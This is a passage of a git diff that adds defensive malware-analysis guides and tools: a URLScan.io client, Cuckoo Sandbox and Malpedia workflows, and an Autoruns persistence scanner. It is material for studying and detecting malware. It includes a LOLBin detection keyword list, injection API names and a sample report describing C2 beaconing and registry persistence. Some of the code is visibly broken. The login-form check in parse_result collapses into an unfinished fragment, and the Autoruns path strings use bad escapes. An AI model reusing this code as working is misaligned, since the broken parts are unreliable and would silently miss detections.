== 404: + time.sleep(5) + continue + else: + return {"error": f"HTTP {resp.status_code}: {resp.text}"} + except Exception as e: + return {"error": str(e)} + + return {"error": "Timeout waiting for scan results"} + + +def search_scans(query: str, api_key: str = "", size: int = 10) -> list: + """Search URLScan database.""" + if not api_key: + api_key = URLSCAN_API_KEY + + headers = {} + if api_key: + headers["API-Key"] = api_key + + try: + resp = requests.get(f"{URLSCAN_BASE}/search/?q={query}&size={size}", + headers=headers, timeout=30) + if resp.status_code == 200: + return resp.json().get("results", []) + except Exception: + pass + return [] + + +def parse_result(raw_result: dict) -> URLScanResult: + """Parse raw URLScan API result into structured data.""" + result = URLScanResult() + + task = raw_result.get("task", {}) + result.uuid = task.get("uuid", "") + result.url = task.get("url", "") + + page = raw_result.get("page", {}) + result.effective_url = page.get("url", "") + result.status_code = page.get("status", 0) + result.domain = page.get("domain", "") + result.ip = page.get("ip", "") + result.asn = page.get("asn", "") + result.asn_name = page.get("asnname", "") + result.country = page.get("country", "") + result.server = page.get("server", "") + result.title = page.get("title", "") + + # TLS info + tls_list = raw_result.get("lists", {}).get("certificates", []) + if tls_list: + cert = tls_list[0] + result.tls_issuer = cert.get("issuer", "") + result.tls_subject = cert.get("subjectName", "") + result.tls_valid_from = cert.get("validFrom", "") + result.tls_valid_to = cert.get("validTo", "") + + # Screenshot and DOM URLs + result.screenshot_url = f"https://urlscan.io/screenshots/{result.uuid}.png" + result.dom_url = f"https://urlscan.io/dom/{result.uuid}/" + + # Technologies + meta = raw_result.get("meta", {}) + for processor in meta.get("processors", {}).values(): + if isinstance(processor, dict) and "data" in processor: + techs = processor["data"] + if isinstance(techs, list): + for tech in techs: + if isinstance(tech, dict) and "app" in tech: + result.technologies.append(tech["app"]) + + # Redirects + data = raw_result.get("data", {}) + for request in data.get("requests", [])[:5]: + req_url = request.get("request", {}).get("request", {}).get("url", "") + resp_url = request.get("response", {}).get("response", {}).get("url", "") + if req_url != result.url: + result.redirects.append(req_url) + + # Domains and IPs contacted + lists = raw_result.get("lists", {}) + result.domains_contacted = lists.get("domains", []) + result.ips_contacted = lists.get("ips", []) + result.urls_contacted = lists.get("urls", [])[:50] + + # Resource hashes + for request in data.get("requests", []): + resp_data = request.get("response", {}).get("response", {}) + resp_hash = resp_data.get("hash", "") + if resp_hash: + result.resource_hashes.append({ + "url": resp_data.get("url", ""), + "hash": resp_hash, + "size": resp_data.get("size", 0), + "mimeType": resp_data.get("mimeType", "") + }) + + # Check for login forms in DOM + dom_content = raw_result.get("data", {}).get("dom", "") + if isinstance(dom_content, str): + if ('type="password"' in dom_content.lower() or + 'input type=password' in dom_content.lower() or + ' {result.effective_url}") + if result.is_malicious: + result.risk_indicators.append("Flagged as malicious by URLScan verdicts") + if len(result.redirects) > 3: + result.risk_indicators.append(f"Excessive redirects ({len(result.redirects)})") + + return result + + +def extract_iocs(result: URLScanResult) -> dict: + """Extract IOCs from scan result.""" + iocs = { + "domains": list(set(result.domains_contacted)), + "ips": list(set(result.ips_contacted)), + "urls": [result.url, result.effective_url] + result.redirects, + "hashes": [h["hash"] for h in result.resource_hashes if h.get("hash")], + "tls_fingerprint": result.tls_subject, + "scan_uuid": result.uuid, + "scan_date": datetime.now(timezone.utc).isoformat(), + } + # Deduplicate URLs + iocs["urls"] = list(set(u for u in iocs["urls"] if u)) + return iocs + + +def check_virustotal(url: str, api_key: str = "") -> dict: + """Check URL against VirusTotal (requires API key).""" + if not api_key: + api_key = VT_API_KEY + if not api_key: + return {} + + url_id = hashlib.sha256(url.encode()).hexdigest() + headers = {"x-apikey": api_key} + + try: + resp = requests.get(f"https://www.virustotal.com/api/v3/urls/{url_id}", + headers=headers, timeout=15) + if resp.status_code == 200: + data = resp.json().get("data", {}).get("attributes", {}) + stats = data.get("last_analysis_stats", {}) + return { + "malicious": stats.get("malicious", 0), + "suspicious": stats.get("suspicious", 0), + "harmless": stats.get("harmless", 0), + "undetected": stats.get("undetected", 0), + } + except Exception: + pass + return {} + + +def format_report(result: URLScanResult) -> str: + """Format scan result as text report.""" + lines = [] + lines.append("=" * 60) + lines.append(" URL ANALYSIS REPORT (URLScan.io)") + lines.append("=" * 60) + lines.append(f" Scan UUID: {result.uuid}") + lines.append(f" Submitted URL: {result.url}") + lines.append(f" Effective URL: {result.effective_url}") + lines.append(f" Status Code: {result.status_code}") + lines.append(f" Malicious: {'YES' if result.is_malicious else 'NO'}") + lines.append("") + + lines.append("[PAGE INFO]") + lines.append(f" Title: {result.title}") + lines.append(f" Domain: {result.domain}") + lines.append(f" IP: {result.ip}") + lines.append(f" ASN: {result.asn} ({result.asn_name})") + lines.append(f" Country: {result.country}") + lines.append(f" Server: {result.server}") + lines.append(f" Login Form: {'DETECTED' if result.has_login_form else 'Not found'}") + lines.append(f" Screenshot: {result.screenshot_url}") + lines.append("") + + if result.tls_issuer: + lines.append("[TLS CERTIFICATE]") + lines.append(f" Issuer: {result.tls_issuer}") + lines.append(f" Subject: {result.tls_subject}") + lines.append("") + + if result.redirects: + lines.append(f"[REDIRECTS] ({len(result.redirects)} found)") + for r in result.redirects[:10]: + lines.append(f" -> {r}") + lines.append("") + + if result.risk_indicators: + lines.append(f"[RISK INDICATORS] ({len(result.risk_indicators)})") + for ind in result.risk_indicators: + lines.append(f" - {ind}") + lines.append("") + + lines.append(f"[INFRASTRUCTURE]") + lines.append(f" Domains contacted: {len(result.domains_contacted)}") + lines.append(f" IPs contacted: {len(result.ips_contacted)}") + lines.append(f" Resource hashes: {len(result.resource_hashes)}") + + lines.append("=" * 60) + return "\n".join(lines) + + +def main(): + parser = argparse.ArgumentParser(description="URLScan.io URL Analysis Tool") + subparsers = parser.add_subparsers(dest="command") + + scan_parser = subparsers.add_parser("scan", help="Scan a URL") + scan_parser.add_argument("--url", help="Single URL to scan") + scan_parser.add_argument("--url-file", help="File with URLs (one per line)") + scan_parser.add_argument("--visibility", default="private", + choices=["public", "unlisted", "private"]) + scan_parser.add_argument("--wait", action="store_true", help="Wait for results") + + result_parser = subparsers.add_parser("result", help="Get scan result") + result_parser.add_argument("--uuid", required=True) + + search_parser = subparsers.add_parser("search", help="Search URLScan database") + search_parser.add_argument("--query", "-q", required=True) + search_parser.add_argument("--size", type=int, default=10) + + ioc_parser = subparsers.add_parser("ioc", help="Extract IOCs from scan") + ioc_parser.add_argument("--uuid", required=True) + + parser.add_argument("--api-key", default=URLSCAN_API_KEY) + parser.add_argument("--json", action="store_true") + parser.add_argument("--output", "-o") + + args = parser.parse_args() + + if not HAS_REQUESTS: + print("Error: 'requests' library required", file=sys.stderr) + sys.exit(1) + + api_key = args.api_key + + if args.command == "scan": + urls = [] + if args.url: + urls.append(args.url) + elif args.url_file: + with open(args.url_file) as f: + urls = [line.strip() for line in f if line.strip()] + + for url in urls: + print(f"Scanning: {url}") + scan_result = submit_scan(url, args.visibility, api_key) + + if "error" in scan_result: + print(f" Error: {scan_result['error']}", file=sys.stderr) + continue + + uuid = scan_result.get("uuid", "") + print(f" UUID: {uuid}") + print(f" Result URL: https://urlscan.io/result/{uuid}/") + + if args.wait and uuid: + print(" Waiting for results...") + time.sleep(10) + raw = get_result(uuid, api_key) + if "error" not in raw: + result = parse_result(raw) + if args.json: + print(json.dumps(asdict(result), indent=2, default=str)) + else: + print(format_report(result)) + + if len(urls) > 1: + time.sleep(2) # Rate limiting + + elif args.command == "result": + raw = get_result(args.uuid, api_key) + if "error" in raw: + print(f"Error: {raw['error']}", file=sys.stderr) + sys.exit(1) + result = parse_result(raw) + if args.json: + print(json.dumps(asdict(result), indent=2, default=str)) + else: + print(format_report(result)) + + elif args.command == "search": + results = search_scans(args.query, api_key, args.size) + for r in results: + task = r.get("task", {}) + page = r.get("page", {}) + print(f" {task.get('time', '')} | {task.get('url', '')} | " + f"{page.get('domain', '')} | {page.get('ip', '')}") + + elif args.command == "ioc": + raw = get_result(args.uuid, api_key) + if "error" in raw: + print(f"Error: {raw['error']}", file=sys.stderr) + sys.exit(1) + result = parse_result(raw) + iocs = extract_iocs(result) + print(json.dumps(iocs, indent=2)) + + else: + parser.print_help() + + +if __name__ == "__main__": + main() diff --git a/skills/analyzing-malware-behavior-with-cuckoo-sandbox/SKILL.md b/skills/analyzing-malware-behavior-with-cuckoo-sandbox/SKILL.md new file mode 100644 index 00000000..bc1d8d7c --- /dev/null +++ b/skills/analyzing-malware-behavior-with-cuckoo-sandbox/SKILL.md @@ -0,0 +1,287 @@ +--- +name: analyzing-malware-behavior-with-cuckoo-sandbox +description: > + Executes malware samples in Cuckoo Sandbox to observe runtime behavior including + process creation, file system modifications, registry changes, network communications, + and API calls. Generates comprehensive behavioral reports for malware classification + and IOC extraction. Activates for requests involving dynamic malware analysis, sandbox + detonation, behavioral analysis, or automated malware execution. +domain: cybersecurity +subdomain: malware-analysis +tags: [malware, dynamic-analysis, sandbox, Cuckoo, behavioral-analysis] +version: 1.0.0 +author: mahipal +license: MIT +--- + +# Analyzing Malware Behavior with Cuckoo Sandbox + +## When to Use + +- A suspicious sample passed static analysis triage and requires behavioral observation in a controlled environment +- You need to capture network traffic, file drops, registry modifications, and API calls from a malware execution +- Determining the full infection chain including second-stage payload downloads and persistence mechanisms +- Generating behavioral signatures and YARA rules based on observed runtime activity +- Automated analysis of bulk malware samples requiring consistent reporting + +**Do not use** when the sample is a known ransomware variant that may spread via network shares in a misconfigured sandbox; verify network isolation first. + +## Prerequisites + +- Cuckoo Sandbox 3.x installed on a dedicated analysis server (Ubuntu 22.04 recommended) +- Guest VMs configured with Windows 10/11 snapshots (Cuckoo agent installed, snapshots taken at clean state) +- VirtualBox, KVM, or VMware configured as the Cuckoo virtualization backend +- Isolated network with InetSim or FakeNet-NG for simulating internet services +- Suricata or Snort integrated for network-level signature matching during analysis +- Sufficient disk space for PCAP captures and memory dumps (minimum 500 GB recommended) + +## Workflow + +### Step 1: Submit Sample to Cuckoo + +Submit the malware sample for automated analysis: + +```bash +# Submit via command line +cuckoo submit /path/to/suspect.exe + +# Submit with specific analysis timeout (300 seconds) +cuckoo submit --timeout 300 /path/to/suspect.exe + +# Submit with specific VM and analysis package +cuckoo submit --machine win10_x64 --package exe --timeout 300 /path/to/suspect.exe + +# Submit via REST API +curl -F "file=@suspect.exe" -F "timeout=300" -F "machine=win10_x64" \ + http://localhost:8090/tasks/create/file + +# Submit URL for analysis +curl -F "url=http://malicious-site.com/payload" -F "timeout=300" \ + http://localhost:8090/tasks/create/url + +# Check task status +curl http://localhost:8090/tasks/view/1 | jq '.task.status' +``` + +### Step 2: Monitor Execution in Real-Time + +Track the analysis progress and observe live behavior: + +```bash +# Watch Cuckoo analysis log +tail -f /opt/cuckoo/log/cuckoo.log + +# Monitor analysis task status +cuckoo status + +# Access Cuckoo web interface for live screenshots and process tree +# Navigate to http://localhost:8080/analysis// +``` + +Key behavioral events to watch during execution: +- Process creation chain (parent-child relationships) +- Network connection attempts to external IPs +- File drops in temporary directories or system folders +- Registry modifications to Run keys or service entries +- API calls related to encryption (CryptEncrypt), injection (WriteProcessMemory), or evasion + +### Step 3: Analyze Process Activity + +Review the process tree and API call trace from the Cuckoo report: + +```python +# Parse Cuckoo JSON report programmatically +import json + +with open("/opt/cuckoo/storage/analyses/1/reports/report.json") as f: + report = json.load(f) + +# Process tree analysis +for process in report["behavior"]["processes"]: + pid = process["pid"] + ppid = process["ppid"] + name = process["process_name"] + print(f"PID: {pid} PPID: {ppid} Name: {name}") + + # Extract suspicious API calls + for call in process["calls"]: + api = call["api"] + if api in ["CreateRemoteThread", "VirtualAllocEx", "WriteProcessMemory", + "NtCreateThreadEx", "RegSetValueExA", "URLDownloadToFileA"]: + args = {arg["name"]: arg["value"] for arg in call["arguments"]} + print(f" [!] {api}({args})") +``` + +### Step 4: Review Network Activity + +Examine network connections, DNS queries, and HTTP requests: + +```python +# Network analysis from Cuckoo report +network = report["network"] + +# DNS resolutions +print("DNS Queries:") +for dns in network.get("dns", []): + print(f" {dns['request']} -> {dns.get('answers', [])}") + +# HTTP requests +print("\nHTTP Requests:") +for http in network.get("http", []): + print(f" {http['method']} {http['uri']} (Host: {http['host']})") + if http.get("body"): + print(f" Body: {http['body'][:200]}") + +# TCP connections +print("\nTCP Connections:") +for tcp in network.get("tcp", []): + print(f" {tcp['src']}:{tcp['sport']} -> {tcp['dst']}:{tcp['dport']}") + +# Extract PCAP for deeper Wireshark analysis +# PCAP location: /opt/cuckoo/storage/analyses/1/dump.pcap +``` + +### Step 5: Examine File System and Registry Changes + +Document persistence mechanisms and dropped files: + +```python +# File operations +print("Files Created/Modified:") +for f in report["behavior"].get("summary", {}).get("files", []): + print(f" {f}") + +# Dropped files with hashes +print("\nDropped Files:") +for dropped in report.get("dropped", []): + print(f" Path: {dropped['filepath']}") + print(f" SHA-256: {dropped['sha256']}") + print(f" Size: {dropped['size']} bytes") + print(f" Type: {dropped['type']}") + +# Registry modifications +print("\nRegistry Keys Modified:") +for key in report["behavior"].get("summary", {}).get("keys", []): + print(f" {key}") +``` + +### Step 6: Review Signatures and Scoring + +Check Cuckoo's behavioral signatures and threat scoring: + +```python +# Behavioral signatures triggered +print("Triggered Signatures:") +for sig in report.get("signatures", []): + severity = sig["severity"] + name = sig["name"] + description = sig["description"] + marker = "[!]" if severity >= 3 else "[*]" + print(f" {marker} [{severity}/5] {name}: {description}") + for mark in sig.get("marks", []): + if mark.get("call"): + print(f" API: {mark['call']['api']}") + if mark.get("ioc"): + print(f" IOC: {mark['ioc']}") + +# Overall score +score = report.get("info", {}).get("score", 0) +print(f"\nOverall Threat Score: {score}/10") +``` + +### Step 7: Extract Memory Dump Artifacts + +Analyze the full memory dump captured during execution: + +```bash +# Memory dump is saved at: +# /opt/cuckoo/storage/analyses/1/memory.dmp + +# Use Volatility to analyze the memory dump +vol3 -f /opt/cuckoo/storage/analyses/1/memory.dmp windows.pslist +vol3 -f /opt/cuckoo/storage/analyses/1/memory.dmp windows.malfind +vol3 -f /opt/cuckoo/storage/analyses/1/memory.dmp windows.netscan +``` + +## Key Concepts + +| Term | Definition | +|------|------------| +| **Dynamic Analysis** | Executing malware in a controlled environment to observe runtime behavior including system calls, network activity, and file operations | +| **Sandbox Evasion** | Techniques malware uses to detect virtual/sandbox environments and alter behavior to avoid analysis (sleep timers, VM checks, user interaction checks) | +| **API Hooking** | Cuckoo's method of intercepting Windows API calls made by the malware to log function names, parameters, and return values | +| **InetSim** | Internet services simulation tool that responds to malware network requests (HTTP, DNS, SMTP) within the isolated analysis network | +| **Process Injection** | Malware technique of injecting code into legitimate processes; detected by monitoring VirtualAllocEx and WriteProcessMemory API sequences | +| **Behavioral Signature** | Rule-based detection matching specific sequences of API calls, file operations, or network activity to known malware behaviors | +| **Analysis Package** | Cuckoo module defining how to execute a specific file type (exe, dll, pdf, doc) within the guest VM for proper behavioral capture | + +## Tools & Systems + +- **Cuckoo Sandbox**: Open-source automated malware analysis system providing behavioral reports, network captures, and memory dumps +- **InetSim**: Internet services simulation suite providing fake HTTP, DNS, SMTP, and other services for isolated malware analysis networks +- **FakeNet-NG**: FLARE team's network simulation tool that intercepts and redirects all network traffic for analysis +- **Suricata**: Network IDS/IPS integrated with Cuckoo for real-time signature-based detection of malicious network traffic +- **Volatility**: Memory forensics framework used to analyze memory dumps captured during Cuckoo analysis + +## Common Scenarios + +### Scenario: Analyzing a Multi-Stage Dropper + +**Context**: Static analysis reveals a packed executable with minimal imports and high entropy. The sample needs sandbox execution to observe unpacking, payload delivery, and C2 establishment. + +**Approach**: +1. Submit sample to Cuckoo with extended timeout (600 seconds) to capture slow-acting behavior +2. Review process tree for child process creation (dropper spawning payload processes) +3. Identify dropped files in %TEMP%, %APPDATA%, or system directories +4. Extract dropped files and compute hashes for separate analysis +5. Map network connections to identify C2 infrastructure contacted after initial execution +6. Check for persistence mechanisms (Run keys, scheduled tasks, services) in registry modifications +7. Compare behavioral signatures against known malware families + +**Pitfalls**: +- Using insufficient analysis timeout causing the sandbox to terminate before second-stage payload executes +- Not configuring InetSim to respond to DNS and HTTP requests, preventing the malware from progressing past C2 check-in +- Ignoring sandbox evasion detections; if the sample exits immediately, it may be detecting the virtual environment +- Not analyzing dropped files separately; the initial dropper may be less interesting than the final payload + +## Output Format + +``` +DYNAMIC ANALYSIS REPORT - CUCKOO SANDBOX +========================================== +Task ID: 1547 +Sample: suspect.exe (SHA-256: e3b0c44298fc1c149afbf4c8996fb924...) +Analysis Time: 300 seconds +VM: win10_x64 (Windows 10 21H2) +Score: 8.5/10 + +PROCESS TREE +suspect.exe (PID: 2184) + └── cmd.exe (PID: 3456) + └── powershell.exe (PID: 4012) + └── svchost_fake.exe (PID: 4568) + +FILE SYSTEM ACTIVITY +[CREATED] C:\Users\Admin\AppData\Local\Temp\payload.dll +[CREATED] C:\Windows\System32\svchost_fake.exe +[MODIFIED] C:\Windows\System32\drivers\etc\hosts + +REGISTRY MODIFICATIONS +[SET] HKCU\Software\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate = "C:\Windows\System32\svchost_fake.exe" +[SET] HKLM\SYSTEM\CurrentControlSet\Services\FakeService\ImagePath = "C:\Windows\System32\svchost_fake.exe" + +NETWORK ACTIVITY +DNS: update.malicious[.]com -> 185.220.101.42 +HTTP: POST hxxps://185.220.101[.]42/gate.php (beacon) +TCP: 10.0.2.15:49152 -> 185.220.101.42:443 (237 connections) + +BEHAVIORAL SIGNATURES +[!] [4/5] injection_createremotethread: Injects code into remote process +[!] [4/5] persistence_autorun: Modifies Run registry key for persistence +[!] [3/5] network_cnc_http: Performs HTTP C2 communication +[*] [2/5] antiav_detectfile: Checks for antivirus product files + +DROPPED FILES +payload.dll SHA-256: abc123... Size: 98304 Type: PE32 DLL +svchost_fake.exe SHA-256: def456... Size: 184320 Type: PE32 EXE +``` diff --git a/skills/analyzing-malware-family-relationships-with-malpedia/SKILL.md b/skills/analyzing-malware-family-relationships-with-malpedia/SKILL.md new file mode 100644 index 00000000..f27b237c --- /dev/null +++ b/skills/analyzing-malware-family-relationships-with-malpedia/SKILL.md @@ -0,0 +1,259 @@ +--- +name: analyzing-malware-family-relationships-with-malpedia +description: Use the Malpedia platform and API to research malware family relationships, track variant evolution, link families to threat actors, and integrate YARA rules for detection across malware lineages. +domain: cybersecurity +subdomain: threat-intelligence +tags: [malpedia, malware-family, yara, threat-actor, malware-tracking, threat-intelligence, variant-analysis, malware-intelligence] +version: "1.0" +author: mahipal +license: MIT +--- +# Analyzing Malware Family Relationships with Malpedia + +## Overview + +Malpedia is a collaborative platform maintained by Fraunhofer FKIE that catalogs malware families with their aliases, YARA rules, threat actor associations, and reference reports. With over 2,600 malware families documented, it serves as the definitive resource for understanding malware lineages, tracking variant evolution, and linking malware to specific threat groups. This skill covers querying the Malpedia API, mapping malware family relationships, extracting YARA rules for detection, and building intelligence on malware ecosystems used by adversaries. + +## Prerequisites + +- Python 3.9+ with `requests`, `yara-python`, `stix2` libraries +- Malpedia API key (register at https://malpedia.caad.fkie.fraunhofer.de/) +- Understanding of malware classification and naming conventions +- Familiarity with YARA rule syntax for detection +- Access to malware samples for validation (optional) + +## Key Concepts + +### Malpedia Data Model + +Malpedia organizes malware into Families (e.g., "win.cobalt_strike"), each containing: aliases (vendor-specific names like "Beacon", "CobaltStrike"), YARA rules (community and vendor-contributed), actor associations (threat groups using the family), reference reports (CTI reports documenting the family), and sample hashes (representative samples for each variant). + +### Malware Family Naming + +Malpedia uses the format `platform.family_name` (e.g., `win.emotet`, `elf.mirai`, `apk.flubot`). Platforms include win (Windows), elf (Linux), apk (Android), osx (macOS), and py (Python). This standardized naming resolves the "many names" problem where different vendors assign different names to the same malware. + +### Family Relationships + +Malware families have relationships including: parent-child (code reuse, forks), loader-payload (Emotet loads TrickBot loads Ryuk), shared authorship (same threat actor develops multiple tools), and infrastructure sharing (common C2 frameworks). + +## Practical Steps + +### Step 1: Query Malpedia API for Malware Families + +```python +import requests +import json +from collections import defaultdict + +class MalpediaClient: + BASE_URL = "https://malpedia.caad.fkie.fraunhofer.de/api" + + def __init__(self, api_key): + self.headers = {"Authorization": f"apitoken {api_key}"} + + def get_family_list(self): + """Get list of all malware families.""" + resp = requests.get(f"{self.BASE_URL}/list/families", + headers=self.headers, timeout=30) + if resp.status_code == 200: + families = resp.json() + print(f"[+] Malpedia: {len(families)} malware families") + return families + return {} + + def get_family_info(self, family_name): + """Get detailed information about a malware family.""" + resp = requests.get(f"{self.BASE_URL}/get/family/{family_name}", + headers=self.headers, timeout=30) + if resp.status_code == 200: + info = resp.json() + print(f"[+] Family: {family_name}") + print(f" Aliases: {info.get('alt_names', [])}") + print(f" Actors: {[a.get('value', '') for a in info.get('attribution', [])]}") + print(f" URLs: {len(info.get('urls', []))} references") + return info + print(f"[-] Family not found: {family_name}") + return None + + def get_family_yara(self, family_name): + """Get YARA rules for a malware family.""" + resp = requests.get(f"{self.BASE_URL}/get/yara/{family_name}", + headers=self.headers, timeout=30) + if resp.status_code == 200: + rules = resp.json() + rule_count = sum(len(v) for v in rules.values()) if isinstance(rules, dict) else 0 + print(f"[+] YARA rules for {family_name}: {rule_count} rules") + return rules + return {} + + def get_actor_families(self, actor_name): + """Get malware families associated with a threat actor.""" + resp = requests.get(f"{self.BASE_URL}/get/actor/{actor_name}", + headers=self.headers, timeout=30) + if resp.status_code == 200: + data = resp.json() + families = data.get("families", {}) + print(f"[+] {actor_name}: {len(families)} malware families") + return data + return {} + + def search_families(self, keyword): + """Search families by keyword.""" + all_families = self.get_family_list() + matches = { + name: info for name, info in all_families.items() + if keyword.lower() in name.lower() + or keyword.lower() in str(info.get("alt_names", [])).lower() + } + print(f"[+] Search '{keyword}': {len(matches)} matches") + return matches + +client = MalpediaClient("YOUR_MALPEDIA_API_KEY") +families = client.get_family_list() +emotet_info = client.get_family_info("win.emotet") +``` + +### Step 2: Map Malware Family Relationships + +```python +class MalwareFamilyMapper: + def __init__(self, malpedia_client): + self.client = malpedia_client + self.relationship_graph = defaultdict(list) + + def map_actor_ecosystem(self, actor_name): + """Map the malware ecosystem used by a threat actor.""" + actor_data = self.client.get_actor_families(actor_name) + families = actor_data.get("families", {}) + + ecosystem = { + "actor": actor_name, + "families": [], + "family_count": len(families), + } + + for family_name in families: + info = self.client.get_family_info(family_name) + if info: + ecosystem["families"].append({ + "name": family_name, + "aliases": info.get("alt_names", []), + "description": info.get("description", "")[:200], + "shared_actors": [ + a.get("value", "") + for a in info.get("attribution", []) + ], + "reference_count": len(info.get("urls", [])), + }) + + print(f"\n=== {actor_name} Malware Ecosystem ===") + for fam in ecosystem["families"]: + shared = [a for a in fam["shared_actors"] if a != actor_name] + print(f" {fam['name']}") + print(f" Aliases: {fam['aliases'][:5]}") + if shared: + print(f" Also used by: {shared}") + + return ecosystem + + def find_shared_tooling(self, actor_names): + """Find malware families shared between threat actors.""" + actor_families = {} + for actor in actor_names: + data = self.client.get_actor_families(actor) + actor_families[actor] = set(data.get("families", {}).keys()) + + # Find overlaps + shared = {} + for i, actor1 in enumerate(actor_names): + for actor2 in actor_names[i+1:]: + common = actor_families[actor1] & actor_families[actor2] + if common: + shared[f"{actor1} <-> {actor2}"] = sorted(common) + + print(f"\n=== Shared Tooling Analysis ===") + for pair, families in shared.items(): + print(f" {pair}: {len(families)} shared families") + for f in families[:5]: + print(f" - {f}") + + return shared + + def build_loader_payload_chain(self, family_name): + """Build the loader-payload delivery chain for a family.""" + info = self.client.get_family_info(family_name) + if not info: + return {} + + chain = { + "family": family_name, + "description": info.get("description", ""), + "known_loaders": [], + "known_payloads": [], + } + + # Common known delivery chains + known_chains = { + "win.emotet": {"loaders": ["email/macro"], "payloads": ["win.trickbot", "win.qakbot", "win.cobalt_strike"]}, + "win.trickbot": {"loaders": ["win.emotet"], "payloads": ["win.ryuk", "win.conti", "win.cobalt_strike"]}, + "win.qakbot": {"loaders": ["email/macro", "win.emotet"], "payloads": ["win.cobalt_strike", "win.blackbasta"]}, + "win.cobalt_strike": {"loaders": ["win.emotet", "win.trickbot", "win.qakbot"], "payloads": ["ransomware"]}, + } + + if family_name in known_chains: + chain["known_loaders"] = known_chains[family_name]["loaders"] + chain["known_payloads"] = known_chains[family_name]["payloads"] + + return chain + +mapper = MalwareFamilyMapper(client) +ecosystem = mapper.map_actor_ecosystem("Wizard Spider") +shared = mapper.find_shared_tooling(["Wizard Spider", "FIN7", "Lazarus Group"]) +chain = mapper.build_loader_payload_chain("win.emotet") +``` + +### Step 3: Extract and Compile YARA Rules + +```python +def compile_yara_ruleset(client, family_names, output_file="malware_yara_rules.yar"): + """Compile YARA rules for multiple malware families.""" + all_rules = [] + for family in family_names: + yara_data = client.get_family_yara(family) + if isinstance(yara_data, dict): + for source, rules in yara_data.items(): + if isinstance(rules, list): + for rule in rules: + all_rules.append(f"// Source: {source} - Family: {family}\n{rule}") + elif isinstance(rules, str): + all_rules.append(f"// Source: {source} - Family: {family}\n{rules}") + + with open(output_file, "w") as f: + f.write(f"// Malpedia YARA Rules - {len(all_rules)} rules\n") + f.write(f"// Families: {', '.join(family_names)}\n\n") + for rule in all_rules: + f.write(rule + "\n\n") + + print(f"[+] Compiled {len(all_rules)} YARA rules to {output_file}") + return all_rules + +compile_yara_ruleset(client, ["win.emotet", "win.trickbot", "win.cobalt_strike"]) +``` + +## Validation Criteria + +- Malpedia API queried successfully for malware families +- Family information retrieved with aliases, actors, and references +- Actor-family relationships mapped correctly +- Shared tooling between actors identified +- YARA rules extracted and compiled for detection +- Loader-payload chains documented for threat intelligence + +## References + +- [Malpedia Platform](https://malpedia.caad.fkie.fraunhofer.de/) +- [Malpedia API Documentation](https://malpedia.caad.fkie.fraunhofer.de/usage/api) +- [Malpedia Research Paper](https://www.botconf.eu/wp-content/uploads/formidable/2/2017-DanielPlohmann-Malpedia.pdf) +- [YARA Rules Project](https://github.com/Yara-Rules/rules) +- [malwoverview Multi-Platform Tool](https://github.com/alexandreborges/malwoverview) +- [CyberAtlas: Malpedia Integration](https://www.cyberatlas.io/malpedia) diff --git a/skills/analyzing-malware-persistence-with-autoruns/SKILL.md b/skills/analyzing-malware-persistence-with-autoruns/SKILL.md new file mode 100644 index 00000000..c6562842 --- /dev/null +++ b/skills/analyzing-malware-persistence-with-autoruns/SKILL.md @@ -0,0 +1,92 @@ +--- +name: analyzing-malware-persistence-with-autoruns +description: Use Sysinternals Autoruns to systematically identify and analyze malware persistence mechanisms across registry keys, scheduled tasks, services, drivers, and startup locations on Windows systems. +domain: cybersecurity +subdomain: malware-analysis +tags: [autoruns, persistence, malware-analysis, sysinternals, windows, registry, startup, incident-response] +version: "1.0" +author: mahipal +license: MIT +--- +# Analyzing Malware Persistence with Autoruns + +## Overview + +Sysinternals Autoruns extracts data from hundreds of Auto-Start Extensibility Points (ASEPs) on Windows, scanning 18+ categories including Run/RunOnce keys, services, scheduled tasks, drivers, Winlogon entries, LSA providers, print monitors, WMI subscriptions, and AppInit DLLs. Digital signature verification filters Microsoft-signed entries. The compare function identifies newly added persistence via baseline diffing. VirusTotal integration checks hash reputation. Offline analysis via -z flag enables forensic disk image examination. + +## Prerequisites + +- Sysinternals Autoruns (GUI) and Autorunsc (CLI) +- Administrative privileges on target system +- Python 3.9+ for automated analysis +- VirusTotal API key for reputation checks +- Clean baseline export for comparison + +## Practical Steps + +### Step 1: Automated Persistence Scanning + +```python +#!/usr/bin/env python3 +"""Automate Autoruns-based persistence analysis.""" +import subprocess +import csv +import json +import sys + + +def scan_and_analyze(autorunsc_path="autorunsc64.exe", csv_path="scan.csv"): + cmd = [autorunsc_path, "-a", "*", "-c", "-h", "-s", "-nobanner", "*"] + result = subprocess.run(cmd, capture_output=True, text=True, timeout=600) + with open(csv_path, 'w') as f: + f.write(result.stdout) + return parse_and_flag(csv_path) + + +def parse_and_flag(csv_path): + suspicious = [] + with open(csv_path, 'r', errors='replace') as f: + for row in csv.DictReader(f): + reasons = [] + signer = row.get("Signer", "") + if not signer or signer == "(Not verified)": + reasons.append("Unsigned binary") + if not row.get("Description") and not row.get("Company"): + reasons.append("Missing metadata") + path = row.get("Image Path", "").lower() + for sp in ["\temp\\", "\appdata\local\temp", "\users\public\\"]: + if sp in path: + reasons.append(f"Suspicious path") + launch = row.get("Launch String", "").lower() + for kw in ["powershell", "cmd /c", "wscript", "mshta", "regsvr32"]: + if kw in launch: + reasons.append(f"LOLBin: {kw}") + if reasons: + row["reasons"] = reasons + suspicious.append(row) + return suspicious + + +if __name__ == "__main__": + if len(sys.argv) > 1: + results = parse_and_flag(sys.argv[1]) + print(f"[!] {len(results)} suspicious entries") + for r in results: + print(f" {r.get('Entry','')} - {r.get('Image Path','')}") + for reason in r.get('reasons', []): + print(f" - {reason}") +``` + +## Validation Criteria + +- All ASEP categories scanned and cataloged +- Unsigned entries flagged for investigation +- Suspicious paths and LOLBin launch strings highlighted +- Baseline comparison identifies new persistence mechanisms + +## References + +- [Sysinternals Autoruns](https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns) +- [SANS - Offline Autoruns Revisited](https://www.sans.org/blog/offline-autoruns-revisited-auditing-malware-persistence/) +- [Hunting Malware with Autoruns](https://nasbench.medium.com/hunting-malware-with-windows-sysinternals-autoruns-19cbfe4103c2) +- [MITRE ATT&CK T1547 - Boot or Logon Autostart](https://attack.mitre.org/techniques/T1547/) diff --git a/skills/analyzing-malware-persistence-with-autoruns/assets/template.md b/skills/analyzing-malware-persistence-with-autoruns/assets/template.md new file mode 100644 index 00000000..63141d6a --- /dev/null +++ b/skills/analyzing-malware-persistence-with-autoruns/assets/template.md @@ -0,0 +1,25 @@ +# Analysis Report Template - analyzing-malware-persistence-with-autoruns + +## Sample Information +| Field | Value | +|-------|-------| +| SHA-256 | | +| File Type | | +| Analysis Date | | +| Analyst | | 